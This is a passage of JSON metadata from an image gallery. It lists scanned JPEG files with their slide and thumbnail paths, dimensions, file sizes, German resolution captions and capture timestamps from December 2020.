    S22C-620121516420 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516420_0001.jpg","width":340,"height":260},"fileSize":154931,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516420_0001.jpg","dates":{"dateTaken":1608392816},"fileDate":"2020-12-19T16:46:56.885Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:56.885Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516421_0001.jpg","image":{"path":"slides\/S22C-620121516421_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516421 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516421_0001.jpg","width":340,"height":260},"fileSize":352842,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516421_0001.jpg","dates":{"dateTaken":1608392817},"fileDate":"2020-12-19T16:46:57.822Z","category":"image","camera":{"originalDate":"2020-12-19T16:46:57.822Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516422_0001.jpg","image":{"path":"slides\/S22C-620121516422_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516422 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516422_0001.jpg","width":340,"height":260},"fileSize":229354,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516422_0001.jpg","dates":{"dateTaken":1608392826},"fileDate":"2020-12-19T16:47:06.160Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:06.160Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516443_0001.jpg","image":{"path":"slides\/S22C-620121516443_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516443 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516443_0001.jpg","width":340,"height":260},"fileSize":266166,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516443_0001.jpg","dates":{"dateTaken":1608392836},"fileDate":"2020-12-19T16:47:16.113Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:16.113Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516444_0001.jpg","image":{"path":"slides\/S22C-620121516444_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516444 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516444_0001.jpg","width":340,"height":260},"fileSize":336954,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516444_0001.jpg","dates":{"dateTaken":1608392838},"fileDate":"2020-12-19T16:47:18.566Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:18.566Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516451_0001.jpg","image":{"path":"slides\/S22C-620121516451_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516451 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516451_0001.jpg","width":340,"height":260},"fileSize":268174,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516451_0001.jpg","dates":{"dateTaken":1608392843},"fileDate":"2020-12-19T16:47:23.356Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:23.356Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516452_0001.jpg","image":{"path":"slides\/S22C-620121516452_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516452 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516452_0001.jpg","width":340,"height":260},"fileSize":625627,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516452_0001.jpg","dates":{"dateTaken":1608392844},"fileDate":"2020-12-19T16:47:24.945Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:24.945Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516460_0001.jpg","image":{"path":"slides\/S22C-620121516460_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516460 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516460_0001.jpg","width":340,"height":260},"fileSize":497919,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516460_0001.jpg","dates":{"dateTaken":1608392847},"fileDate":"2020-12-19T16:47:27.797Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:27.797Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516461_0001.jpg","image":{"path":"slides\/S22C-620121516461_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516461 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516461_0001.jpg","width":340,"height":260},"fileSize":322369,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516461_0001.jpg","dates":{"dateTaken":1608392848},"fileDate":"2020-12-19T16:47:28.985Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:28.985Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516462_0001.jpg","image":{"path":"slides\/S22C-620121516462_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516462 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516462_0001.jpg","width":340,"height":260},"fileSize":255762,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516462_0001.jpg","dates":{"dateTaken":1608392850},"fileDate":"2020-12-19T16:47:30.693Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:30.693Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516463_0001.jpg","image":{"path":"slides\/S22C-620121516463_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516463 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516463_0001.jpg","width":340,"height":260},"fileSize":779524,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516463_0001.jpg","dates":{"dateTaken":1608392852},"fileDate":"2020-12-19T16:47:32.306Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:32.306Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516470_0001.jpg","image":{"path":"slides\/S22C-620121516470_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516470 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516470_0001.jpg","width":340,"height":260},"fileSize":155017,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516470_0001.jpg","dates":{"dateTaken":1608392856},"fileDate":"2020-12-19T16:47:36.211Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:36.211Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516471_0001.jpg","image":{"path":"slides\/S22C-620121516471_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516471 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516471_0001.jpg","width":340,"height":260},"fileSize":265295,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516471_0001.jpg","dates":{"dateTaken":1608392858},"fileDate":"2020-12-19T16:47:38.6Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:38.6Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516472_0001.jpg","image":{"path":"slides\/S22C-620121516472_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516472 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516472_0001.jpg","width":340,"height":260},"fileSize":635278,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516472_0001.jpg","dates":{"dateTaken":1608392860},"fileDate":"2020-12-19T16:47:40.57Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:40.57Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516473_0001.jpg","image":{"path":"slides\/S22C-620121516473_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516473 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516473_0001.jpg","width":340,"height":260},"fileSize":377687,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516473_0001.jpg","dates":{"dateTaken":1608392861},"fileDate":"2020-12-19T16:47:41.339Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:41.339Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516474_0001.jpg","image":{"path":"slides\/S22C-620121516474_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516474 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516474_0001.jpg","width":340,"height":260},"fileSize":212831,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516474_0001.jpg","dates":{"dateTaken":1608392863},"fileDate":"2020-12-19T16:47:43.194Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:43.194Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516480_0001.jpg","image":{"path":"slides\/S22C-620121516480_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516480 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516480_0001.jpg","width":340,"height":260},"fileSize":410205,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516480_0001.jpg","dates":{"dateTaken":1608392864},"fileDate":"2020-12-19T16:47:44.821Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:44.821Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516481_0001.jpg","image":{"path":"slides\/S22C-620121516481_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516481 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516481_0001.jpg","width":340,"height":260},"fileSize":366189,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516481_0001.jpg","dates":{"dateTaken":1608392866},"fileDate":"2020-12-19T16:47:46.30Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:46.30Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516482_0001.jpg","image":{"path":"slides\/S22C-620121516482_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516482 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516482_0001.jpg","width":340,"height":260},"fileSize":377953,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516482_0001.jpg","dates":{"dateTaken":1608392867},"fileDate":"2020-12-19T16:47:47.311Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:47.311Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516484_0001.jpg","image":{"path":"slides\/S22C-620121516484_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516484 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516484_0001.jpg","width":340,"height":260},"fileSize":177493,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516484_0001.jpg","dates":{"dateTaken":1608392871},"fileDate":"2020-12-19T16:47:51.118Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:51.118Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516491_0001.jpg","image":{"path":"slides\/S22C-620121516491_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516491 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516491_0001.jpg","width":340,"height":260},"fileSize":121477,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516491_0001.jpg","dates":{"dateTaken":1608392873},"fileDate":"2020-12-19T16:47:53.399Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:53.399Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516492_0001.jpg","image":{"path":"slides\/S22C-620121516492_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516492 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516492_0001.jpg","width":340,"height":260},"fileSize":460578,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516492_0001.jpg","dates":{"dateTaken":1608392874},"fileDate":"2020-12-19T16:47:54.367Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:54.367Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516493_0001.jpg","image":{"path":"slides\/S22C-620121516493_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516493 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516493_0001.jpg","width":340,"height":260},"fileSize":213948,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516493_0001.jpg","dates":{"dateTaken":1608392875},"fileDate":"2020-12-19T16:47:55.266Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:55.266Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516494_0001.jpg","image":{"path":"slides\/S22C-620121516494_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516494 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516494_0001.jpg","width":340,"height":260},"fileSize":779407,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516494_0001.jpg","dates":{"dateTaken":1608392876},"fileDate":"2020-12-19T16:47:56.215Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:56.215Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516500_0001.jpg","image":{"path":"slides\/S22C-620121516500_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516500 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516500_0001.jpg","width":340,"height":260},"fileSize":515018,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516500_0001.jpg","dates":{"dateTaken":1608392877},"fileDate":"2020-12-19T16:47:57.43Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:57.43Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516501_0001.jpg","image":{"path":"slides\/S22C-620121516501_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516501 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516501_0001.jpg","width":340,"height":260},"fileSize":408604,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516501_0001.jpg","dates":{"dateTaken":1608392877},"fileDate":"2020-12-19T16:47:57.784Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:57.784Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516502_0001.jpg","image":{"path":"slides\/S22C-620121516502_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516502 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516502_0001.jpg","width":340,"height":260},"fileSize":341992,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516502_0001.jpg","dates":{"dateTaken":1608392879},"fileDate":"2020-12-19T16:47:59.8Z","category":"image","camera":{"originalDate":"2020-12-19T16:47:59.8Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516503_0001.jpg","image":{"path":"slides\/S22C-620121516503_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516503 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516503_0001.jpg","width":340,"height":260},"fileSize":472104,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516503_0001.jpg","dates":{"dateTaken":1608392881},"fileDate":"2020-12-19T16:48:01.990Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:01.990Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516504_0001.jpg","image":{"path":"slides\/S22C-620121516504_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516504 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516504_0001.jpg","width":340,"height":260},"fileSize":403623,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516504_0001.jpg","dates":{"dateTaken":1608392883},"fileDate":"2020-12-19T16:48:03.178Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:03.178Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516505_0001.jpg","image":{"path":"slides\/S22C-620121516505_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516505 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516505_0001.jpg","width":340,"height":260},"fileSize":387658,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516505_0001.jpg","dates":{"dateTaken":1608392884},"fileDate":"2020-12-19T16:48:04.159Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:04.159Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516510_0001.jpg","image":{"path":"slides\/S22C-620121516510_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516510 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516510_0001.jpg","width":340,"height":260},"fileSize":309740,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516510_0001.jpg","dates":{"dateTaken":1608392885},"fileDate":"2020-12-19T16:48:05.90Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:05.90Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516511_0001.jpg","image":{"path":"slides\/S22C-620121516511_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516511 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516511_0001.jpg","width":340,"height":260},"fileSize":276986,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516511_0001.jpg","dates":{"dateTaken":1608392886},"fileDate":"2020-12-19T16:48:06.923Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:06.923Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516512_0001.jpg","image":{"path":"slides\/S22C-620121516512_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516512 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516512_0001.jpg","width":340,"height":260},"fileSize":212864,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516512_0001.jpg","dates":{"dateTaken":1608392888},"fileDate":"2020-12-19T16:48:08.113Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:08.113Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516520_0001.jpg","image":{"path":"slides\/S22C-620121516520_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516520 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516520_0001.jpg","width":340,"height":260},"fileSize":452676,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516520_0001.jpg","dates":{"dateTaken":1608392889},"fileDate":"2020-12-19T16:48:09.43Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:09.43Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516521_0001.jpg","image":{"path":"slides\/S22C-620121516521_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121516521 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516521_0001.jpg","width":340,"height":260},"fileSize":261504,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516521_0001.jpg","dates":{"dateTaken":1608392890},"fileDate":"2020-12-19T16:48:10.870Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:10.870Z","resolution":"1653 x 2338"}},{"path":"S22C-620121516570_0001.jpg","image":{"path":"slides\/S22C-620121516570_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121516570 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516570_0001.jpg","width":340,"height":260},"fileSize":184807,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121516570_0001.jpg","dates":{"dateTaken":1608392892},"fileDate":"2020-12-19T16:48:12.208Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:12.208Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517000_0001.jpg","image":{"path":"slides\/S22C-620121517000_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517000 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517000_0001.jpg","width":340,"height":260},"fileSize":496396,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517000_0001.jpg","dates":{"dateTaken":1608392897},"fileDate":"2020-12-19T16:48:17.889Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:17.889Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517001_0001.jpg","image":{"path":"slides\/S22C-620121517001_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517001 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517001_0001.jpg","width":340,"height":260},"fileSize":516986,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517001_0001.jpg","dates":{"dateTaken":1608392899},"fileDate":"2020-12-19T16:48:19.176Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:19.176Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517002_0001.jpg","image":{"path":"slides\/S22C-620121517002_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517002 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517002_0001.jpg","width":340,"height":260},"fileSize":356850,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517002_0001.jpg","dates":{"dateTaken":1608392900},"fileDate":"2020-12-19T16:48:20.339Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:20.339Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517003_0001.jpg","image":{"path":"slides\/S22C-620121517003_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517003 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517003_0001.jpg","width":340,"height":260},"fileSize":466148,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517003_0001.jpg","dates":{"dateTaken":1608392902},"fileDate":"2020-12-19T16:48:22.501Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:22.501Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517010_0001.jpg","image":{"path":"slides\/S22C-620121517010_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517010 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517010_0001.jpg","width":340,"height":260},"fileSize":439966,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517010_0001.jpg","dates":{"dateTaken":1608392905},"fileDate":"2020-12-19T16:48:25.611Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:25.611Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517012_0001.jpg","image":{"path":"slides\/S22C-620121517012_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517012 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517012_0001.jpg","width":340,"height":260},"fileSize":749428,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517012_0001.jpg","dates":{"dateTaken":1608392909},"fileDate":"2020-12-19T16:48:29.306Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:29.306Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517014_0001.jpg","image":{"path":"slides\/S22C-620121517014_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517014 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517014_0001.jpg","width":340,"height":260},"fileSize":433754,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517014_0001.jpg","dates":{"dateTaken":1608392913},"fileDate":"2020-12-19T16:48:33.411Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:33.411Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517020_0001.jpg","image":{"path":"slides\/S22C-620121517020_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517020 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517020_0001.jpg","width":340,"height":260},"fileSize":206518,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517020_0001.jpg","dates":{"dateTaken":1608392914},"fileDate":"2020-12-19T16:48:34.525Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:34.525Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517021_0001.jpg","image":{"path":"slides\/S22C-620121517021_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517021 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517021_0001.jpg","width":340,"height":260},"fileSize":284036,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517021_0001.jpg","dates":{"dateTaken":1608392916},"fileDate":"2020-12-19T16:48:36.241Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:36.241Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517022_0001.jpg","image":{"path":"slides\/S22C-620121517022_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517022 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517022_0001.jpg","width":340,"height":260},"fileSize":582508,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517022_0001.jpg","dates":{"dateTaken":1608392917},"fileDate":"2020-12-19T16:48:37.646Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:37.646Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517023_0001.jpg","image":{"path":"slides\/S22C-620121517023_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517023 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517023_0001.jpg","width":340,"height":260},"fileSize":414509,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517023_0001.jpg","dates":{"dateTaken":1608392918},"fileDate":"2020-12-19T16:48:38.608Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:38.608Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517024_0001.jpg","image":{"path":"slides\/S22C-620121517024_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517024 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517024_0001.jpg","width":340,"height":260},"fileSize":360185,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517024_0001.jpg","dates":{"dateTaken":1608392919},"fileDate":"2020-12-19T16:48:39.515Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:39.515Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517025_0001.jpg","image":{"path":"slides\/S22C-620121517025_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517025 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517025_0001.jpg","width":340,"height":260},"fileSize":257233,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517025_0001.jpg","dates":{"dateTaken":1608392921},"fileDate":"2020-12-19T16:48:41.219Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:41.219Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517030_0001.jpg","image":{"path":"slides\/S22C-620121517030_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517030 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517030_0001.jpg","width":340,"height":260},"fileSize":413296,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517030_0001.jpg","dates":{"dateTaken":1608392922},"fileDate":"2020-12-19T16:48:42.946Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:42.946Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517032_0001.jpg","image":{"path":"slides\/S22C-620121517032_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517032 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517032_0001.jpg","width":340,"height":260},"fileSize":348636,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517032_0001.jpg","dates":{"dateTaken":1608392925},"fileDate":"2020-12-19T16:48:45.470Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:45.470Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517033_0001.jpg","image":{"path":"slides\/S22C-620121517033_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517033 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517033_0001.jpg","width":340,"height":260},"fileSize":552792,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517033_0001.jpg","dates":{"dateTaken":1608392926},"fileDate":"2020-12-19T16:48:46.597Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:46.597Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517034_0001.jpg","image":{"path":"slides\/S22C-620121517034_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517034 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517034_0001.jpg","width":340,"height":260},"fileSize":249404,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517034_0001.jpg","dates":{"dateTaken":1608392927},"fileDate":"2020-12-19T16:48:47.566Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:47.566Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517035_0001.jpg","image":{"path":"slides\/S22C-620121517035_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517035 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517035_0001.jpg","width":340,"height":260},"fileSize":507768,"photodata":"

